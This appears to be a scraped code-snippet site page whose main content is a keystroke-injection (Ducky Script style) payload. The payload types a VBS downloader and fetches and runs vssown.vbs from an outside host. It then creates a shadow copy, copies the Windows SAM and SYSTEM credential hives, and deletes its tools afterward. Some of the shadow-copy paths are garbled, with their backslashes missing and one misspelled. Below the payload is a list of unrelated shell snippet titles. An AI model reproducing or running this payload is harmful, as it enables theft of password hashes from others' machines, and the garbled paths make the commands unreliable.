Search
 
SCRIPT & CODE EXAMPLE
 

SHELL

Payload retrieve sam and system from a live file system

ALT F4
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
ENTER
DELAY 400
STRING cd <DIRECTORY TO SAVE SAM AND SYSTEM TO>
ENTER
DELAY 200
STRING copy con download.vbs
ENTER
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
ENTER
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
ENTER
STRING If objXMLHTTP.Status = 200 Then
ENTER
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
ENTER
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
ENTER
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
ENTER
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing 
ENTER
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
ENTER
CTRL z
ENTER
STRING cscript download.vbs http://tools.lanmaster53.com/vssown.vbs
ENTER
DELAY 800
STRING del download.vbs
ENTER
DELAY 800
STRING cscript vssown.vbs /start
ENTER
DELAY 800
STRING cscript vssown.vbs /create
ENTER
DELAY 800
STRING copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configSAM .
ENTER
DELAY 800
STRING copy ?GLoBALROOTDeviceHarddriskVolumeShadowCopy1windowssystem32configSYSTEM .
ENTER
DELAY 800
STRING cscript vssown.vbs /stop
ENTER
DELAY 800
STRING del vssown.vbs
ENTER
STRING exit
ENTER
REM Make sure to change the DIRECTORY above.
Comment

PREVIOUS NEXT
Code Example
Shell :: Warning : no large blobs matching criteria found in packfiles - does the repo need to be packed? 
Shell :: separate a line using sed 
Shell :: trickbot mikrotik 
Shell :: erc20 token openzeppelin example github 
Shell :: powershell create multiple variables of the same type 
Shell :: brew install erlang 
Shell :: protonup no such file or directory 
Shell :: reminder to push to git 
Shell :: linux show bottom of file 
Shell :: unit has a bad unit file setting 
Shell :: retrieve column from csv unix 
Shell :: https://arxiv.org/abs/2111.09395 
Shell :: pip install imread 
Shell :: linux bash shell join path 
Shell :: delete 1st row csv for hive table 
Shell :: Disable Apache in a Django Bitnami Stack 
Shell :: get folder size in lnux 
Shell :: find and rm files 
Shell :: command on every line curl 
Shell :: how to rm file ubuntu contains jpg 
Shell :: git checkout stack 
Shell :: cmd.exe /s /k pushd "%V" run as admin 
Shell :: awk column decimal to integer 
Shell :: connaitre la taille fichier gz debian 
Shell :: linux disk usage in human readable format 
Shell :: how quit in after git show command 
Shell :: boot flash commande 
Shell :: ahk get command line 
Shell :: chmod read write just for me 
Shell :: gnome terminal keep open 
ADD CONTENT
Topic
Content
Source link
Name
7+5 =